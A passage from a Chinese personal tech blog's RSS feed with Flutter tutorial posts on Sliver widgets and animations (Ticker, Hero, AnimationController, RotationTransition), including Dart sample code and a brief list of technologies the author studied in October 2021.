</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  pinned: <span style="color:#66d9ef">false</span>,<span style="color:#75715e">//不固定
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  expandedHeight: <span style="color:#ae81ff">100</span>,<span style="color:#75715e">//导航条高度
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  stretch: <span style="color:#66d9ef">true</span>,<span style="color:#75715e">//使用更长的拉伸（flexibleSpace）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  flexibleSpace: FlexibleSpaceBar( 
</span></span><span style="display:flex;"><span>    background: FlutterLogo(size:<span style="color:#ae81ff">100</span>),<span style="color:#75715e">//导航条中的背景
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    title: Text(<span style="color:#e6db74">&#34;111&#34;</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//上缩效果
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    collapseMode: CollapseMode.parallax,
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//下拉效果
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    stretchModes: [
</span></span><span style="display:flex;"><span>      StretchMode.blurBackground,
</span></span><span style="display:flex;"><span>      StretchMode.zoomBackground,
</span></span><span style="display:flex;"><span>      StretchMode.fadeTitle
</span></span><span style="display:flex;"><span>    ],
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/mQeOrRHkWsVidCl.png" alt="截屏2021-11-02 下午11.52.39" style="zoom:25%;" />
<h3 id="三sliver转换器">三、Sliver转换器</h3>
<h4 id="31-普通widget的sliver对应版本">3.1 普通Widget的Sliver对应版本</h4>
<p>例如：</p>
<ul>
<li>
<p><code>Opacity</code> =&gt; <code>SliverOpacity</code></p>
</li>
<li>
<p><code>AnimatedOpacity</code> =&gt;<code>SilverAnimatedOpacity</code></p>
</li>
<li>
<p>值得注意的是，<code>SizedBox</code>直接对应空的<code>SliverToBoxAdapter()</code>，也就是不传任何东西</p>
</li>
</ul>
<p>普通Widget基本都能找到其Sliver形式，可以直接用sliver属性嵌套（相当于普通Widget的child）属性。</p>
<h4 id="32-特殊sliver">3.2 特殊Sliver</h4>
<ol>
<li><code>SliverFillRemaining</code>——占据当前视窗的剩余全部空间，但最多占满一整页。</li>
<li>注意：使用<code>SliverLayoutBuilder</code>可以自己作出一个SliverFillRemaining组件哦～</li>
</ol>
<p>完整实例：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">import</span> <span style="color:#e6db74">&#39;package:flutter/material.dart&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> main() {
</span></span><span style="display:flex;"><span>  runApp(<span style="color:#66d9ef">const</span> MyApp());
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyApp</span> <span style="color:#66d9ef">extends</span> StatelessWidget {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> MyApp({Key<span style="color:#f92672">?</span> key}) <span style="color:#f92672">:</span> <span style="color:#66d9ef">super</span>(key: key);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  Widget build(BuildContext context) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> MaterialApp(
</span></span><span style="display:flex;"><span>      title: <span style="color:#e6db74">&#39;Flutter Demo&#39;</span>,
</span></span><span style="display:flex;"><span>      theme: ThemeData(
</span></span><span style="display:flex;"><span>        primarySwatch: Colors.blue,
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>      home: <span style="color:#66d9ef">const</span> MyHomePage(title: <span style="color:#e6db74">&#39;Flutter Demo Home Page&#39;</span>),
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyHomePage</span> <span style="color:#66d9ef">extends</span> StatefulWidget {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> MyHomePage({Key<span style="color:#f92672">?</span> key, <span style="color:#66d9ef">required</span> <span style="color:#66d9ef">this</span>.title}) <span style="color:#f92672">:</span> <span style="color:#66d9ef">super</span>(key: key);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">final</span> <span style="color:#66d9ef">String</span> title;
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  State<span style="color:#f92672">&lt;</span>MyHomePage<span style="color:#f92672">&gt;</span> createState() <span style="color:#f92672">=&gt;</span> _MyHomePageState();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">_MyHomePageState</span> <span style="color:#66d9ef">extends</span> State<span style="color:#f92672">&lt;</span>MyHomePage<span style="color:#f92672">&gt;</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  Widget build(BuildContext context) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> Scaffold(
</span></span><span style="display:flex;"><span>      body: <span style="color:#66d9ef">const</span> CustomScrollView(
</span></span><span style="display:flex;"><span>        slivers: [
</span></span><span style="display:flex;"><span>      SliverAppBar(
</span></span><span style="display:flex;"><span>        floating: <span style="color:#66d9ef">true</span>, <span style="color:#75715e">//稍微一向下拉导航条就出现
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        snap: <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//title: Text(&#34;111&#34;),
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        pinned: <span style="color:#66d9ef">false</span>,<span style="color:#75715e">//不固定
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        expandedHeight: <span style="color:#ae81ff">100</span>,<span style="color:#75715e">//导航条高度
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        stretch: <span style="color:#66d9ef">true</span>,<span style="color:#75715e">//使用更长的拉伸（flexibleSpace）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        flexibleSpace: FlexibleSpaceBar( 
</span></span><span style="display:flex;"><span>          background: FlutterLogo(size:<span style="color:#ae81ff">100</span>),<span style="color:#75715e">//导航条中的背景
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          title: Text(<span style="color:#e6db74">&#34;111&#34;</span>),
</span></span><span style="display:flex;"><span>          <span style="color:#75715e">//上缩效果
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          collapseMode: CollapseMode.parallax,
</span></span><span style="display:flex;"><span>          <span style="color:#75715e">//下拉效果
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          stretchModes: [
</span></span><span style="display:flex;"><span>            StretchMode.blurBackground,
</span></span><span style="display:flex;"><span>            StretchMode.zoomBackground,
</span></span><span style="display:flex;"><span>            StretchMode.fadeTitle
</span></span><span style="display:flex;"><span>          ],
</span></span><span style="display:flex;"><span>        ),
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>      SliverToBoxAdapter(child: FlutterLogo(size: <span style="color:#ae81ff">100</span>)),
</span></span><span style="display:flex;"><span>      SliverToBoxAdapter(child: FlutterLogo(size: <span style="color:#ae81ff">100</span>)),
</span></span><span style="display:flex;"><span>      SliverToBoxAdapter(child: FlutterLogo(size: <span style="color:#ae81ff">100</span>)),
</span></span><span style="display:flex;"><span>      SliverFillRemaining(
</span></span><span style="display:flex;"><span>        child:Center(	<span style="color:#75715e">//用加载圈填满剩余视口
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          child: CircularProgressIndicator(),
</span></span><span style="display:flex;"><span>        )
</span></span><span style="display:flex;"><span>      )
</span></span><span style="display:flex;"><span>        ],
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/WuPeF23tlAsoYRy.png" alt="截屏2021-11-03 上午12.44.52" style="zoom:25%;" />
<h4 id="33-sliverappbar原理sliverpersistentheader">3.3 SliverAppBar原理——SliverPersistentHeader</h4>
<p>​	使用原理类似，</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>SliverToBoxAdapter(),
</span></span><span style="display:flex;"><span><span style="color:#75715e">//防止SliverPersistentHeader成为最顶层的Sliver，以至于无法上拉刷新
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>SliverPersistentHeader(
</span></span><span style="display:flex;"><span>	delegate:
</span></span><span style="display:flex;"><span>  pinned: <span style="color:#66d9ef">true</span>,<span style="color:#75715e">//像AppBar一样钉在最顶部
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>)
</span></span></code></pre></div>]]></content:encoded>
    </item>
    
    <item>
      <title>近期学习或了解的技术清单（2021.10）</title>
      <link>https://weibo.io/2021/11/recent-work-2021-10/</link>
      <pubDate>Mon, 01 Nov 2021 21:11:26 +0000</pubDate>
      
      <guid>https://weibo.io/2021/11/recent-work-2021-10/</guid>
      <description>近期学习/了解的技术清单（2021.10） Elastic Search HBase MongoDB PaddleRec（及推荐系统原理） RocketMQ 网络安全（Web攻防） Dart Golang Goroutine专题 准备学习：Gofiber / Go Gin Flutter 2.5：myapp Demo Flutter动画专题 准备学习：Flutter Provider状态管理 Vue2 / Vue3 / Vuex 原理及语法 Swift 5.3 / SwiftUI WebSocket HTTPS原理（及其密码学原理） Git原理及指令 Makefile脚本语法 </description>
      <content:encoded><![CDATA[<h2 id="近期学习了解的技术清单202110">近期学习/了解的技术清单（2021.10）</h2>
<ul>
<li>Elastic Search</li>
<li>HBase</li>
<li>MongoDB</li>
<li><strong>PaddleRec（及推荐系统原理）</strong></li>
<li>RocketMQ</li>
<li><strong>网络安全（Web攻防）</strong></li>
<li>Dart</li>
<li><strong>Golang</strong>
<ul>
<li>Goroutine专题</li>
<li>准备学习：Gofiber / Go Gin</li>
</ul>
</li>
<li><strong>Flutter 2.5</strong>：myapp Demo
<ul>
<li>Flutter动画专题</li>
<li>准备学习：Flutter Provider状态管理</li>
</ul>
</li>
<li>Vue2 / Vue3 / Vuex 原理及语法</li>
<li>Swift 5.3 / SwiftUI</li>
<li>WebSocket</li>
<li><strong>HTTPS原理（及其密码学原理）</strong></li>
<li>Git原理及指令</li>
<li>Makefile脚本语法</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Flutter动画全解（三）底层自定义动画——Hero、CustomPainter和Rive</title>
      <link>https://weibo.io/2021/11/Flutter%E5%8A%A8%E7%94%BB%E5%85%A8%E8%A7%A3%EF%BC%88%E4%B8%89%EF%BC%89-%E5%BA%95%E5%B1%82%E8%87%AA%E5%AE%9A%E4%B9%89%E5%8A%A8%E7%94%BB/</link>
      <pubDate>Mon, 01 Nov 2021 20:40:45 +0000</pubDate>
      
      <guid>https://weibo.io/2021/11/Flutter%E5%8A%A8%E7%94%BB%E5%85%A8%E8%A7%A3%EF%BC%88%E4%B8%89%EF%BC%89-%E5%BA%95%E5%B1%82%E8%87%AA%E5%AE%9A%E4%B9%89%E5%8A%A8%E7%94%BB/</guid>
      <description>底层自定义动画 3.1 Flutter动画原理 ​	Flutter内部通过setState()函数刷新页面，且flutter优化得相当好，一秒执行60/120次也不会有卡顿。
​	Ticker原理：屏幕每刷新一帧，称为一个ticker：
Ticker _ticker = Ticker((elapsed) { print(&amp;#34;Tick: $elapsed&amp;#34;);	//elapsed是运行总时长 })..start(); ​	你可以通过下列方式手动制作一个Ticker（仅作为实验用途，不推荐）：
double _height = 300; @override void initState(){ Ticker _ticker = Ticker((_) =&amp;gt; setState((){ _height --; if(_height &amp;lt;= 0) _height = 300; }))..start(); super.initState(); } ​	上述程序虽然可以运行，但首先，它没有考虑一些特殊情况，如程序暂时退出、切换到其他程序时，动画应该暂停。其次，每一帧时_height--，则在60帧的屏幕下该动画需要5秒执行完毕，而在120hz屏幕下只需要2.5秒。
3.2 Hero动画（主动画） ​	将需要做Hero动画的控件包裹上Hero，并给它一个tag属性，两个页面对应控件的tag一致。
​	如果两个页面中的控件样式不一致，或者类型不统一，那么会瞬间切换，不会有控件切换时的动画效果。
3.3 CustomPaint ​	Tips：要使Container占满屏幕，使用
Container( constraints: BoxConstraints.expand(), //或者 width: double.infinity, height: double.infinity, ) 3.4 嵌入式Rive（Flare）插件动画 Rive New File</description>
      <content:encoded><![CDATA[<h2 id="底层自定义动画">底层自定义动画</h2>
<h3 id="31-flutter动画原理">3.1 Flutter动画原理</h3>
<p>​		Flutter内部通过<code>setState()</code>函数刷新页面，且flutter优化得相当好，一秒执行60/120次也不会有卡顿。</p>
<p>​		Ticker原理：屏幕每刷新一帧，称为一个ticker：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Ticker _ticker <span style="color:#f92672">=</span> Ticker((elapsed) {
</span></span><span style="display:flex;"><span>  print(<span style="color:#e6db74">&#34;Tick: </span><span style="color:#e6db74">$</span>elapsed<span style="color:#e6db74">&#34;</span>);	<span style="color:#75715e">//elapsed是运行总时长
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>})..start();
</span></span></code></pre></div><p>​		你可以通过下列方式手动制作一个Ticker（仅作为实验用途，不推荐）：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">double</span> _height <span style="color:#f92672">=</span> <span style="color:#ae81ff">300</span>;
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> initState(){
</span></span><span style="display:flex;"><span>  Ticker _ticker <span style="color:#f92672">=</span> Ticker((_) <span style="color:#f92672">=&gt;</span> setState((){
</span></span><span style="display:flex;"><span>    _height <span style="color:#f92672">--</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(_height <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">0</span>) _height <span style="color:#f92672">=</span> <span style="color:#ae81ff">300</span>;
</span></span><span style="display:flex;"><span>  }))..start();
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">super</span>.initState();
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>​		上述程序虽然可以运行，但首先，它没有考虑一些特殊情况，如程序暂时退出、切换到其他程序时，动画应该暂停。其次，每一帧时<code>_height--</code>，则在60帧的屏幕下该动画需要5秒执行完毕，而在120hz屏幕下只需要2.5秒。</p>
<h3 id="32-hero动画主动画">3.2 Hero动画（主动画）</h3>
<p>​		将需要做Hero动画的控件包裹上Hero，并给它一个tag属性，两个页面对应控件的tag一致。</p>
<p>​		如果两个页面中的控件样式不一致，或者类型不统一，那么会瞬间切换，不会有控件切换时的动画效果。</p>
<h3 id="33-custompaint">3.3 CustomPaint</h3>
<p>​		Tips：要使Container占满屏幕，使用</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Container(
</span></span><span style="display:flex;"><span>	constraints: BoxConstraints.expand(),
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//或者
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  width: <span style="color:#66d9ef">double</span>.infinity,
</span></span><span style="display:flex;"><span>  height: <span style="color:#66d9ef">double</span>.infinity,
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><h3 id="34-嵌入式riveflare插件动画">3.4 嵌入式Rive（Flare）插件动画</h3>
<p><a href="https://rive.app/a/im-bradley/files/Flare/new-file" target="_blank">Rive New File</a></p>
]]></content:encoded>
    </item>
    
    <item>
      <title>Flutter动画全解（二）显式动画——Transition系列</title>
      <link>https://weibo.io/2021/11/Flutter%E5%8A%A8%E7%94%BB%E5%85%A8%E8%A7%A3%EF%BC%88%E4%BA%8C%EF%BC%89%E6%98%BE%E5%BC%8F%E5%8A%A8%E7%94%BB-Transition%E7%B3%BB%E5%88%97/</link>
      <pubDate>Mon, 01 Nov 2021 20:33:45 +0000</pubDate>
      
      <guid>https://weibo.io/2021/11/Flutter%E5%8A%A8%E7%94%BB%E5%85%A8%E8%A7%A3%EF%BC%88%E4%BA%8C%EF%BC%89%E6%98%BE%E5%BC%8F%E5%8A%A8%E7%94%BB-Transition%E7%B3%BB%E5%88%97/</guid>
      <description>显式动画——Transition系列（配合AnimationController） 2.1 循环旋转——RotationTransition ​	我们需要使用RotationTransition配合AnimationController实现动画的手动控制，以实现隐式动画（Animated系列）无法完成的功能：循环重播、随时中断、多方协调等。
​	另外，要使用AnimationController，我们必须使用StatefulWidget，以使用生命周期函数initState()和dispose()。
​	我们先简单地看一个实例，在后文中，我们将详细解释其中的内容。
import &amp;#39;package:flutter/material.dart&amp;#39;; void main() =&amp;gt; runApp(MyApp()); class MyApp extends StatefulWidget { MyApp({Key? key}) : super(key: key); @override _MyAppState createState() =&amp;gt; _MyAppState(); } //SingleTickerProviderStateMixin用于垂直同步 class _MyAppState extends State&amp;lt;MyApp&amp;gt; with SingleTickerProviderStateMixin { late AnimationController _controller; bool _loading = false; @override void initState() { _controller = AnimationController( duration: const Duration(seconds: 1), vsync: this, ); super.initState(); } @override void dispose() { _controller.dispose(); //用完删除，否则内存泄漏 super.dispose(); } @override Widget build(BuildContext context) { return MaterialApp( home: Scaffold( body: Center( child: Container( width: 300, height: 120, color: Colors.</description>
      <content:encoded><![CDATA[<h2 id="显式动画transition系列配合animationcontroller">显式动画——Transition系列（配合AnimationController）</h2>
<h3 id="21-循环旋转rotationtransition">2.1 循环旋转——RotationTransition</h3>
<p>​		我们需要使用<code>RotationTransition</code>配合<code>AnimationController</code>实现动画的手动控制，以实现隐式动画（Animated系列）无法完成的功能：循环重播、随时中断、多方协调等。</p>
<p>​		另外，要使用AnimationController，我们必须使用StatefulWidget，以使用生命周期函数<code>initState()</code>和<code>dispose()</code>。</p>
<p>​		我们先简单地看一个实例，在后文中，我们将详细解释其中的内容。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">import</span> <span style="color:#e6db74">&#39;package:flutter/material.dart&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> main() <span style="color:#f92672">=&gt;</span> runApp(MyApp());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyApp</span> <span style="color:#66d9ef">extends</span> StatefulWidget {
</span></span><span style="display:flex;"><span>  MyApp({Key<span style="color:#f92672">?</span> key}) <span style="color:#f92672">:</span> <span style="color:#66d9ef">super</span>(key: key);
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  _MyAppState createState() <span style="color:#f92672">=&gt;</span> _MyAppState();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//SingleTickerProviderStateMixin用于垂直同步
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">_MyAppState</span> <span style="color:#66d9ef">extends</span> State<span style="color:#f92672">&lt;</span>MyApp<span style="color:#f92672">&gt;</span> <span style="color:#66d9ef">with</span> SingleTickerProviderStateMixin {
</span></span><span style="display:flex;"><span>  late AnimationController _controller;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">bool</span> _loading <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> initState() {
</span></span><span style="display:flex;"><span>    _controller <span style="color:#f92672">=</span> AnimationController(
</span></span><span style="display:flex;"><span>      duration: <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">1</span>),
</span></span><span style="display:flex;"><span>      vsync: <span style="color:#66d9ef">this</span>,
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">super</span>.initState();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> dispose() {
</span></span><span style="display:flex;"><span>    _controller.dispose(); <span style="color:#75715e">//用完删除，否则内存泄漏
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">super</span>.dispose();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  Widget build(BuildContext context) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> MaterialApp(
</span></span><span style="display:flex;"><span>        home: Scaffold(
</span></span><span style="display:flex;"><span>      body: Center(
</span></span><span style="display:flex;"><span>          child: Container(
</span></span><span style="display:flex;"><span>        width: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>        height: <span style="color:#ae81ff">120</span>,
</span></span><span style="display:flex;"><span>        color: Colors.blue,
</span></span><span style="display:flex;"><span>        child: RotationTransition(
</span></span><span style="display:flex;"><span>          turns: _controller,   <span style="color:#75715e">//这里直接使用controller即可，后文来解释
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          <span style="color:#75715e">//这里的动画还没有开始，调用_controller.forward()开始
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          child: <span style="color:#66d9ef">const</span> Icon(Icons.repeat,size: <span style="color:#ae81ff">100</span>),
</span></span><span style="display:flex;"><span>        ),
</span></span><span style="display:flex;"><span>      )),
</span></span><span style="display:flex;"><span>      floatingActionButton: FloatingActionButton(
</span></span><span style="display:flex;"><span>        child: <span style="color:#66d9ef">const</span> Icon(Icons.add),
</span></span><span style="display:flex;"><span>        onPressed: () {		<span style="color:#75715e">//按一下按钮开始旋转，再按一下停止。
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          _loading <span style="color:#f92672">?</span> _controller.stop() <span style="color:#f92672">:</span> _controller.repeat();
</span></span><span style="display:flex;"><span>          _loading <span style="color:#f92672">=</span> <span style="color:#f92672">!</span>_loading;
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>    ));
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>完成效果如下：</p>
<img src="https://i.loli.net/2021/11/01/yfwxzL6BWpk1F5E.jpg" alt="IMG_0848" style="zoom: 25%;" />
<h3 id="22-animationcontroller是什么">2.2 AnimationController是什么</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">AnimationController</span> <span style="color:#66d9ef">extends</span> Animation<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">double</span><span style="color:#f92672">&gt;</span>
</span></span></code></pre></div><p>​		从本质上来说，<code>AnimationController</code>是一个<code>Animation&lt;double&gt;</code>，正如上面看到的那样，<code>RotationTransition</code>的turns属性本质上要求一个Animation。</p>
<p>​		AnimationController会在Duration时间内，生成0～1的double，如果要更改区间，使用lowerBound和upperBound属性。</p>
<p>​		示例代码：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">import</span> <span style="color:#e6db74">&#39;package:flutter/material.dart&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> main() <span style="color:#f92672">=&gt;</span> runApp(MyApp());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyApp</span> <span style="color:#66d9ef">extends</span> StatefulWidget {
</span></span><span style="display:flex;"><span>  MyApp({Key<span style="color:#f92672">?</span> key}) <span style="color:#f92672">:</span> <span style="color:#66d9ef">super</span>(key: key);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  _MyAppState createState() <span style="color:#f92672">=&gt;</span> _MyAppState();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//SingleTickerProviderStateMixin用于垂直同步，屏幕每次刷新，产生一个tick
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">_MyAppState</span> <span style="color:#66d9ef">extends</span> State<span style="color:#f92672">&lt;</span>MyApp<span style="color:#f92672">&gt;</span> <span style="color:#66d9ef">with</span> SingleTickerProviderStateMixin {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">/* class AnimationController extends Animation&lt;double&gt; */</span>
</span></span><span style="display:flex;"><span>  late AnimationController _controller;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">bool</span> _loading <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> initState() {
</span></span><span style="display:flex;"><span>    _controller <span style="color:#f92672">=</span> AnimationController(
</span></span><span style="display:flex;"><span>      duration: <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">1</span>),
</span></span><span style="display:flex;"><span>      lowerBound: <span style="color:#ae81ff">0.0</span>, <span style="color:#75715e">//与默认一致，生成0-1
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      upperBound: <span style="color:#ae81ff">1.0</span>,
</span></span><span style="display:flex;"><span>      vsync: <span style="color:#66d9ef">this</span>,
</span></span><span style="display:flex;"><span>    )..addListener(() { <span style="color:#75715e">//dart语法：“..”表示返回值还是前面的表达式
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      <span style="color:#75715e">// _controller.value 在1s内自动生成0～1之间的数字（1秒60帧）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      print(<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>_controller.value<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">super</span>.initState();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> dispose() {
</span></span><span style="display:flex;"><span>    _controller.dispose(); <span style="color:#75715e">//用完删除，否则内存泄漏
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">super</span>.dispose();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  Widget build(BuildContext context) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> MaterialApp(
</span></span><span style="display:flex;"><span>        home: Scaffold(
</span></span><span style="display:flex;"><span>      body: Center(
</span></span><span style="display:flex;"><span>          child: Container(
</span></span><span style="display:flex;"><span>        width: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>        height: <span style="color:#ae81ff">120</span>,
</span></span><span style="display:flex;"><span>        color: Colors.blue,
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//例如：RotateTransition、FadeTransition、ScaleTransition
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        child: FadeTransition(
</span></span><span style="display:flex;"><span>          opacity: _controller, <span style="color:#75715e">//这里本质上要求一个Animation&lt;double&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          child: <span style="color:#66d9ef">const</span> Icon(Icons.repeat, size: <span style="color:#ae81ff">100</span>),
